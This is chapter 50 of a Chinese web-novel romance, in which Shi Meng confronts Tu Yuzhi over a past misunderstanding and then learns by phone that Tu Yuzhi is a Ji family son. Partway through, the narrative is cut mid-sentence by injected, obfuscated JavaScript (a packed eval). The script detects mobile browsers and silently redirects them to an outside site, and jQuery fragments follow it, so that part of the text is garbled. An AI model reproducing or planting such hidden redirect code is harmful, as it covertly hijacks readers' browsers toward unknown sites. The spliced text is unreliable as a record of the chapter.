50. 我们把话说清楚
作品:《炮灰竹马靠反派苟命》 师萌站在空荡的走廊里,望着别墅紧闭的大门,感觉到心口的一块大石终于落地。
不能再这样下去了。
他必须去找凃与知了,因为他根本不信,根本不信那家伙的心里没有他。
他咬了咬下唇,管家的警告还在耳边回响。可如果连靠近都不敢,他和凃与知之间就真的只剩下无尽的沉默与猜忌。
总得有人先迈出这一步。
他悄悄推开书房的门,凃与知背对着门口,身形挺拔而孤冷,正专注地看着什么。
师萌屏住呼吸,轻手轻脚地靠近,却在即将触碰到对方衣角的瞬间,那人出声,道:“谁允许你进来的?”
凃与知猛地转身,声音冷厉如刀。
师萌被吓得一颤,下意识后退了几步,撞上了身后的书架。他看见凃与知的手迅速往身后一藏,忽然心头一紧,连手也抖了抖。
“我……”师萌抿了抿唇,“我只是想看看你。”
凃与知的眼神骤然沉了下来,眉宇间的冷意几乎凝成实质。他盯着师萌,道:“又想用五年前的招数故技重施?让我重新爱上你?”
师萌感觉到了一记耳光,狠狠扇在他脸上。
他瞳孔微缩,慌乱地摇头,手指无措地绞在一起:“我没有……我真的没有那样想……”
凃与知却不再给他解释的机会,抬手一指门外,声音冰冷得没有一丝温度:“出去。”
他顿了顿,眼神晦暗不明,却又一字一句地补上最后一句:“你应该不难猜出,我不想看到你这张脸。”
师萌浑身一僵,脚底像是生了根,任凭凃与知如何驱赶都纹丝不动。心脏也像是被一只无形的手狠狠攥住,疼得他几乎喘不过气。
他深吸一口气,突然上前一步,在对方错愕的目光中一把攥住他的手腕。
“我没有!”师萌的声音带着前所未有的颤抖与坚决,“五年前我是真心的,现在也是。凃与知,我喜欢你有什么错?不管你信不信,我从来就没变过。”
这些话像决堤的洪水,冲破了长久以来的克制。
他必须说出来。
凃与知的表情凝固了,他缓缓抽回手,笑了笑:“喜欢?你的喜欢,就是和季阳联手策划那场‘意外’?”
季阳,那个始终横亘在他们之间的名字。
“等等,”他猛地抬头,声音因急切而发颤,“你说清楚,什么意外?季阳到底跟你说了什么?”他上前一步,几乎要贴上凃与知的胸膛,“这些年你恨我,是不是就因为这件事?”
师萌曾经以为是因为他造成了意外,又让凃与知以为他其实一直对季阳念念不忘,可万万没想到……那人竟然以为那场意外是联合的。
凃与知的眼神骤然阴鸷,他一把扣住师萌的肩膀将人推开:“装得真像,你穿成那样不就是为了见他?那年的监控,不也是他删掉的?二位密谋,也不是一时半刻的事吧……”
师萌如遭雷击,他终于清楚地明白这恨意从何而来,他竟傻乎乎地以为是他的主因,对此这份误会一无所知。
“你告诉我,监控、密谋到底是什么?”师萌向前一步,泪水在眼眶里摇摇欲坠,“我从来没有和季阳联手过什么,那天我穿成那样,只是因为得知了你的生日惊喜,我想去看看。我以为…你以为我喜欢他,可我解释的时候,你连听都不愿意听…”
他的眼泪终于滚落,在苍白的脸颊上划出晶莹的痕迹。凃与知站在原地,看着他一步步走近,眼神复杂难辨。
“我从来就只喜欢你一个人,这句话没有半分虚假。”师萌哽咽着,伸手想要触碰对方却又克制地收回,“我不知道你听到了什么传言,但我和季阳从来就没有联手。那场意外…那根香蕉……我真的只是想垫垫肚子,没想到奶奶会……”
他的声音戛然而止,痛苦地闭上眼睛。再次睁开时,泪水已经模糊了视线:“这些年我每天都在自责,那场意外真的不是我的本意!我怎么可能...怎么可能想要伤害奶奶,伤害你...”
凃与知的眼神微微动摇,却仍带着审视:“那你当时为什么不说?为什么在警察面前承认是推的?为什么要替季阳打掩护?”
师萌激动地摇头,泪水飞溅,“当时我整个人都懵了……那么大的场面,我完全吓傻了…我以为是那根香蕉导致奶奶拿东西时脚滑,我不想让你以为我是在狡辩,所以…我才…”他的声音渐渐低下去,带着哀求,“与知……你相信我……好不好……”
他不能暴露这件事和胡孟寻有关,不能暴露他也是一个异乡人。虽然很对不起凃与知,但他必须撒谎,他也没有勇气去相信凃与知不会对胡孟寻做些什么。
如果这个世界仅存他一个穿书者,他愿意说,如果和胡孟寻一点关系都没有,他也愿意说。
只是,现在不行。
凃与知沉默良久,终于轻叹一声:“我……最后一次相信你。”
师萌猛地抬头,湿润的眼睛里闪过一丝希冀。
他鼓起勇气,轻声问道:“那...你是不是还喜欢我?”
凃与知明显一怔,随即别过脸去,顿了顿,道:“五年了,我见过很多形形色色的人,你也该清醒一点,别太自作多情了。”
“……好。”师萌的声音很轻、很轻。
他缓缓从口袋里掏出那枚戒指,指尖轻轻摩挲过内侧刻着的名字缩写。
他望着戒指,垂下眼睫,将翻涌的情绪尽数掩藏,只淡淡地说了一句话:“这五年,我始终只喜欢你一个人。”
字字分明。
戒指被他重新收回贴近心口的位置,他重新对着凃与知的眼神,随后转身离开,走到门口时,他的声音带着小心翼翼的恳切:“你先好好休息吧,如果…还有什么想知道的,或者怀疑我的,求你,直接来问我。”
凃与知站在原地没有动,也没有说话。那抹身影在门框处微微停顿,最终轻轻关上了房门。
房间里重归寂静,凃与知的目光落在方才师萌站立的地方,那里有几滴未干的水痕,让他的心口钝痛不已。
另一边,师萌背靠着门板缓缓滑坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353880|183612||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在地上。
他颤抖着手指划开手机屏幕,那些辛苦搜集的证据此刻显得如此苍白无力。
他原以为只是场误会,可调查结果竟然在最终指向更复杂的真相。
他的证据里,所有的线索都诡异地指向许家,而与季氏相关的蛛丝马迹被抹得干干净净,可现在……
季氏集团就像一座密不透风的堡垒,以他的能力根本无从查起。他只是靠猜测,却没想到在他之外的线索,比他想象中更加离谱。
师萌苦笑着想起父母严厉的面孔,他们怎么可能会允许自己调查那个在商界叱咤风云的季家?
要证明清白,就必须查清季家;可要查季家,又无异于蚍蜉撼树。
难,真是太难。
可他必须查下去。
他脑内想起了那些关于凃与知的调查记录,现在却逐渐扑朔迷离的起来。
那时资料显示,凃与知口中常提起的“奶奶”,实则是他的外婆。而更令人费解的是,关于他父亲的一切记录都像被刻意抹去般,干净得近乎诡异。
师萌无意识地咬住下唇,一种陌生的寒意顺着脊背攀爬。
或许他从未真正了解过凃与知,那个看似冷漠的男人身后,究竟藏着怎样不为人知的秘密?
他抓起手机,却在拨号前迟疑了。
要问胡孟寻吗?要把这个局外人牵进来吗?
他今天一问,会不会又像蝴蝶效应一样,引发出其他的、更大的东西?会不会把这个人又牵扯进其中?
师萌不知道,可他已经没有办法了,现在胡孟寻就是他唯一的办法。
他咬了咬牙,只好拨了过去。
这个看过续作的人,或许知道这一切的相关性。
电话那头传来胡孟寻戏谑的声音,电流让他的语调显得格外轻佻:“哟,又打电话?该不会是刚打完一炮吧?”
“滚。”师萌下意识骂出声,深吸一口气后,他道,“我问你,凃与知...他到底是什么人?我查到他父亲那栏是空的,所有线索都断了。”
听筒里突然陷入诡异的沉默,过了许久,胡孟寻的呼吸声才重新响起,带着几分迟疑:“……我没想到过了这么多年,你居然会注意到这个。”
“告诉我。”师萌的声音发颤,他恳求道,“算我求你,我保证不会牵连你,就算……就算回到现实世界,我也一定护着你。”
“哈?现实世界也能保护?”胡孟寻轻笑一声,却莫名透着苦涩,“行吧,不过,你确定你真的想知道吗?有的时候不知道也是一种好事。”
师萌坚定道:“我需要知道。”
胡孟寻像是意料之中,他叹了口气,道:“行,那我告诉你,凃与知……是季家的私生子,和季阳是同父异母的兄弟。”
“什么?!”师萌的手机差点脱手。
这个信息毫无预警地劈进他的天灵盖,震得他耳膜嗡嗡作响,他张了张嘴,却发不出声音,只能听见自己剧烈的心跳声在胸腔里轰鸣。
电话两端一时都陷入死寂。